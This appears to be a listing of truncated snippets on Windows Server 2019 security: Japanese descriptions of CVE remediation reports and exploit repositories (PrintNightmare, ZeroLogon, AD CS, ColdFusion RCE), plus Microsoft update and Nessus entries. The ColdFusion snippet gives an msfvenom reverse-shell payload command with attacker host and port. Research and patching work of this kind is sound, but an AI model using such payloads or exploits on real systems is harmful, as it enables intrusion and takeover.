cve-2013-3900-remediation-report

修復レポート: CVE-2013-3900 – Windows Server 2019 Azure VM における WinVerifyTrust の脆弱性 概要 Tenable Nessus を使用した認証済み脆弱性評価の過程で、Microsoft Azure でホストされている Windows Server 2019 仮想マシンに CVE-2013-3900 が検出されました。このスキャンでは管理者資格情報を利用し、システムの構成とレジストリ設定を詳細に調査することができました。 この問題は、Windows が WinVerifyTrust...

Remediating-CVE-2013-3900-EnableCertPaddingCheck-

修復レポート: CVE-2013-3900 on Windows Server 2019 Azure VM CVE-2013-3900 EnableCertPaddingCheck の修復 Tenable/Nessus を使用した認証済み脆弱性スキャン中に、Microsoft Azure でホストされている Windows Server 2019 Datacenter インスタンスで CVE-2013-3900 を特定しました。スキャンでは有効な管理資格情報を使用して詳細なチェックが実行され、OS レベルでこの脆弱性が存在することが確認されました。 CVE-2013-3900 は...

CVE-2019-1253

CVE-2019-1253 MSRCに送信した元のPoC。 この問題は2019年9月のPatch Tuesdayの定例アップデートで修正されました。 CVE-2019-1253 - Windowsの特権昇格の脆弱性として割り当てられました。 https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1253 2つのPoCがあります。最初にMSRCに送信したものは"AppxExploitEdge"ディレクトリにあります。...

CVE-2021-1675-LPE

CVE-2021-1675/CVE-2021-34527 のローカル権限昇格エディション CVE-2021-1675/CVE-2021-34527（別名 PrintNightmare）のローカル権限昇格実装です。このエクスプロイトは、Zhiniang Peng（@edwardzpeng）とXuefeng Li（@lxf02942370）による公開コードを編集したものです。 プロジェクトを MSVC で開き、x64 Release モードでコンパイルしてください。エクスプロイトは自動的に UNIDRV.DLL を探すため、コードの変更は不要です。 使用方法 エクスプロイトを実行する際は、D...

CVE-2022-26923

CVE-2022-26923 説明 この脆弱性により、デフォルトのActive Directory環境でActive Directory Certificate Services（AD CS）サーバーの役割がインストールされている場合、低権限ユーザーが権限をドメイン管理者に昇格させることができました。 これは主にActive Directory Certificate Services（AD CS）の役割に関連しています。AD CSの役割はWindows Serverの役割であり、組織向けに公開鍵基盤（PKI）を構築し、公開鍵暗号、デジタル証明書、デジタル署名機能を提供できます。AD...

CVE-2020-1472-LAB

ZeroLogon テストスクリプト CVE-2020-1472 の ZeroLogon エクスプロイトの脆弱性をテストするためのラボ環境です。 このリポジトリには、Impacket ライブラリを使用して脆弱性をテストする Python スクリプトと、ドメインコントローラDCとして構成された Windows Server 2019 を搭載した仮想マシンVMが含まれています。 このスクリプトは、Netlogon 認証バイパスを試みます。 バイパスに成功すると即座に終了し、Netlogon 操作は一切実行しません。 DC がパッチ適用済みの場合、検出スクリプトは複数ペアの RPC...

CVE-2022-30136

CVE-2022-30136 Windows ネットワーク ファイル システム リモート エクスプロイト DoS PoC PoC: https://github.com/fortra/CVE-2022-30136 詳細: https://www.coresecurity.com/core-l...136-windows-network-file-system-vulnerability 影響を受ける製品 : Windows サーバー 2016, 2019...

CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 におけるリモートコード実行 スクリプトは最初の試行で動作しないことがあります。数回試して動作させてください。 実行方法 msfvenom でペイロードを作成 msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java server.py の起動 このサーバーは、cve.2023-26360.py による初期アクセス後に ColdFusion サーバーにペイロードを送信するため、最初に起動しておく必要があります。 python3...

2026-09 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 (KB5126144)

2026-09 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 KB5126144...

2026-09 Cumulative Update for Windows Server 2019 for x64-based Systems (KB5122876)

2026-09 Cumulative Update for Windows Server 2019 for x64-based Systems KB5122876...

2026-08 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 (KB5121645)

A security issue has been identified in a Microsoft software product that could affect your system. You can help protect your system by installing this update from Microsoft. For a complete listing of the issues that are included in this update, see the associated Microsoft Knowledge Base article...

2026-08 Cumulative Update for Windows Server 2019 for x64-based Systems (KB5120238)

A security issue has been identified in a Microsoft software product that could affect your system. You can help protect your system by installing this update from Microsoft. For a complete listing of the issues that are included in this update, see the associated Microsoft Knowledge Base article...

August 11, 2026-KB5120698 Cumulative Update for .NET Framework 3.5 and 4.7.2 for Windows 10, version 1809 and Windows Server 2019

None None...

August 11, 2026-KB5120703 Cumulative Update for .NET Framework 3.5 and 4.8 for Windows 10, version 1809 and Windows Server 2019

None None...

August 11, 2026-KB5121645 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows 10, version 1809 and Windows Server 2019

None None...

KB5120238: Windows 10 version 1809 / Windows Server 2019 Security Update (August 2026)

The remote Windows host is missing security update 5120238. It is, therefore, affected by multiple vulnerabilities - Stack-based buffer overflow in Windows DNS allows an unauthorized attacker to execute code over a network. CVE-2026-62878 - Use after free in Windows Deployment Services allows an...

2026-07 Cumulative Update for Windows Server 2019 for x64-based Systems (KB5099538)

2026-07 Cumulative Update for Windows Server 2019 for x64-based Systems KB5099538...

2026-07 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 (KB5102201)

2026-07 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 KB5102201...

July 14, 2026-KB5100989 Cumulative Update for .NET Framework 3.5 and 4.7.2 for Windows 10, version 1809 and Windows Server 2019

None None...

KB5099538: Windows 10 version 1809 / Windows Server 2019 Security Update (July 2026)

The remote Windows host is missing security update 5099538. It is, therefore, affected by multiple vulnerabilities - Integer overflow or wraparound in Windows RDP allows an unauthorized attacker to execute code over a network. CVE-2026-58594 - Heap-based buffer overflow in Windows FTP Service...